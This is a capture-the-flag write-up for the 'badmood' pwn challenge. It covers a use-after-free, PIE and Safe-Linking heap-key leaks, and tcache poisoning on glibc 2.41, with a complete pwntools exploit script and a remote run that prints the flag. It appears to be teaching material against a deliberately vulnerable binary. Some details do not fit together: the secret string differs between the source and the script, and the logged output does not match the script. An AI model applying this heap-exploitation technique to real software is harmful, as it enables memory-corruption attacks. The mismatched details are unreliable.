badmood

Category: Pwn
Files: bad_mood libc.so.6 ld-linux-x86-64.so.2
Description: Vasily is in a bad mood today. He's letting go of old thoughts, tangling up new ones, and sometimes forgetting who he is. But somewhere in the depths of his memory, his name still lingers.

Security check on the binary:

❯  checksec bad_mood
    Arch:       amd64-64-little
    RELRO:        Full RELRO
    Stack:        Canary found
    NX:           NX enabled
    PIE:          PIE enabled
    RUNPATH:      b''
    Stripped:     No

Unlike the earlier challenges in this series, PIE is enabled. This means we cannot rely on fixed addresses for global variables like admin_key. We’ll need a leak.

Program Analysis

In this challenge, we were given a binary named badmood. Let’s try to examine the decompiled code.

Global State

The binary maintains its state through a set of global variables, which are crucial for our exploitation strategy:

1
void *notes[8];
2
char admin_key[0x20];
3
unsigned long admin_hash;
4
const char *DEFAULT_TAG = "DEFAULT_TAG"; // Fixed string in the binary

The DEFAULT_TAG string is particularly important because its address is stored within every note allocation, as we’ll see soon.

main

1
int main() {
2
    int choice;
3
    init();
4

5
    // Vasily's secret key logic
6
    strcpy(admin_key, "VASILY_SECRET");
7
    admin_hash = hash(admin_key);
8
    strcpy(admin_key, "EPON"); // Resetting it to "EPON"
9

10
    while (1) {
11
        menu();
12
        if (scanf("%d", &choice) != 1) break;
13
        switch (choice) {
14
            case 1: alloc_note(); break;
15
            case 2: free_note(); break;
16
            case 3: edit_note(); break;
17
            case 4: read_note(); break;
18
            case 5: check_admin(); break;
19
        }
20
    }
21
    return 0;
22
}

The main() function initializes the environment and sets up the administrative state. It calculates a admin_hash from the initial secret key "VASILY_SECRET", but then resets the admin_key to "EPON". Our goal will be to restore that secret key to pass the check.

alloc_note

1
void alloc_note() {
2
    int index;
3
    printf("Index: ");
4
    if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
5
        getchar();
6
        void *ptr = malloc(0x68);
7
        notes[index] = ptr;
8
        // [!] PIE LEAK OPPORTUNITY: TAG pointer stored in the heap chunk
9
        *(const char **)((char *)ptr + 0x60) = DEFAULT_TAG;
10
        printf("Data: ");
11
        read(0, notes[index], 0x60);
12
    }
13
}

The alloc_note() function allocates a 0x68 byte chunk. Interestingly, it automatically stores the address of the global DEFAULT_TAG string at offset 0x60 of the newly allocated memory. This gives us a direct way to leak the binary’s base address (PIE).

free_note & Vulnerability

1
void free_note() {
2
    int index;
3
    printf("Index: ");
4
    if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
5
        free(notes[index]);
6
        // [!] VULNERABILITY: Use-After-Free
7
    }
8
}

The free_note() function frees the allocated memory but, once again, fails to clear the pointer in the notes array. This provides us with a Use-After-Free (UAF) vulnerability.

read_note

1
void read_note() {
2
    int index;
3
    printf("Index: ");
4
    if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
5
        write(1, notes[index], 0x68);
6
        puts("");
7
    }
8
}

The read_note() function writes up to 0x68 bytes from the requested note index. Combined with the alloc_note() behavior, this allows us to leak the DEFAULT_TAG pointer at offset 0x60 to defeat PIE. Furthermore, because of the UAF, we can read from a freed chunk to leak the mangled tcache next pointer, defeating Safe-Linking.

check_admin

1
void check_admin() {
2
    if (hash(admin_key) == admin_hash) {
3
        char *flag = getenv("FLAG_VAL");
4
        // ... prints flag ...
5
        exit(0);
6
    }
7
    puts("Vasily doesn't trust you.");
8
}

The check_admin() function verifies if the current admin_key (which is "EPON") hashes to the previously stored admin_hash (calculated from "VASILY_SECRET"). To pass this, we’ll need to use Tcache Poisoning to overwrite the global admin_key with the original secret.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

1. pie and heap leaks

PIE Leak: Allocate a note. Since DEFAULT_TAG is always written to the end of the note, we can call read_note to retrieve the address of the tag. Subtracting the known offset (0x2008) gives us the binary’s base address.
Heap Leak: Free the note. On Glibc 2.32+, the next pointer is mangled. By reading the freed chunk, we leak (chunk_addr >> 12) ^ 0, giving us the Heap Key.

2. Tcache Poisoning (GLIBC 2.41)

Even on the newest Glibc, the tcache poisoning strategy remains effective if we can leak the heap key:

Target: Calculate the absolute address of admin_key using the PIE leak.
Mangle: Calculate the protected file descriptor: protected_fd = target ^ heap_key.
Overwrite: Use the UAF edit to overwrite the head of the tcache with our protected_fd.
Land: Allocate twice. The second allocation returns a pointer to the global admin_key.

Overwrite the admin_key with the secret string "VASILIY_SECRET\x00" and trigger the check to claim the flag.

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
continue
14
'''.format(**locals())
15

16
exe = './bad_mood'
17
elf = context.binary = ELF(exe, checksec=False)
18
context.terminal = ['tmux', 'splitw', '-h']
19
context.log_level = 'info'
20

21
def sa(delim,data): return io.sendafter(delim,data)
22
def sla(delim,line): return io.sendlineafter(delim,line)
23
def sl(line): return io.sendline(line)
24
def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
25

26
def alloc(idx, data):
27
    sla(b"> ", b"1")
28
    sla(b"Index: ", str(idx).encode())
29
    sa(b"Data: ", data)
30

31
def free(idx):
32
    sla(b"> ", b"2")
33
    sla(b"Index: ", str(idx).encode())
34

35
def edit(idx, data):
36
    sla(b"> ", b"3")
37
    sla(b"Index: ", str(idx).encode())
38
    sa(b"Data: ", data)
39

40
def read(idx):
41
    sla(b"> ", b"4")
42
    sla(b"Index: ", str(idx).encode())
43
    data = io.recvn(0x68)
44
    io.recvuntil(b"\n1. Alloc", drop=True)
45
    return data
46

47
io = start()
48

49
alloc(0, b"A"*0x60)
50
data = read(0)
51
tag_ptr = u64(data[0x60:0x68])
52
elf.address = tag_ptr - 0x2008
53
log.success(f"PIE base = {hex(elf.address)}")
54

55
alloc(1, b"B"*8)
56
free(1)
57
data = read(1)
58
heap_key = u64(data[:8].ljust(8, b"\x00"))
59
heap_base = heap_key << 12
60
log.info(f"Heap base: {hex(heap_base)}")
61

62
target = elf.sym["admin_key"]
63
free(0)
64
protected_fd = mangle(heap_base, target)
65
edit(0, p64(protected_fd))
66

67
alloc(2, b"junk")
68
alloc(3, b"VASILIY_SECRET\x00")
69

70
sla(b"> ", b"5")
71

72
io.interactive()

Running the exploit delivers the final flag:

❯ python3 xploit.py REMOTE ctf.mf.grsu.by 9073
[+] Opening connection to ctf.mf.grsu.by on port 9073: Done
[+] pie addr = 0x559291adf000
[+] Heap key = 0x5592c6044
[+] Heap base = 0x5592c6044000
[*] Switching to interactive mode
grodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}
[*] Got EOF while reading in interactive
$

Flag: grodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}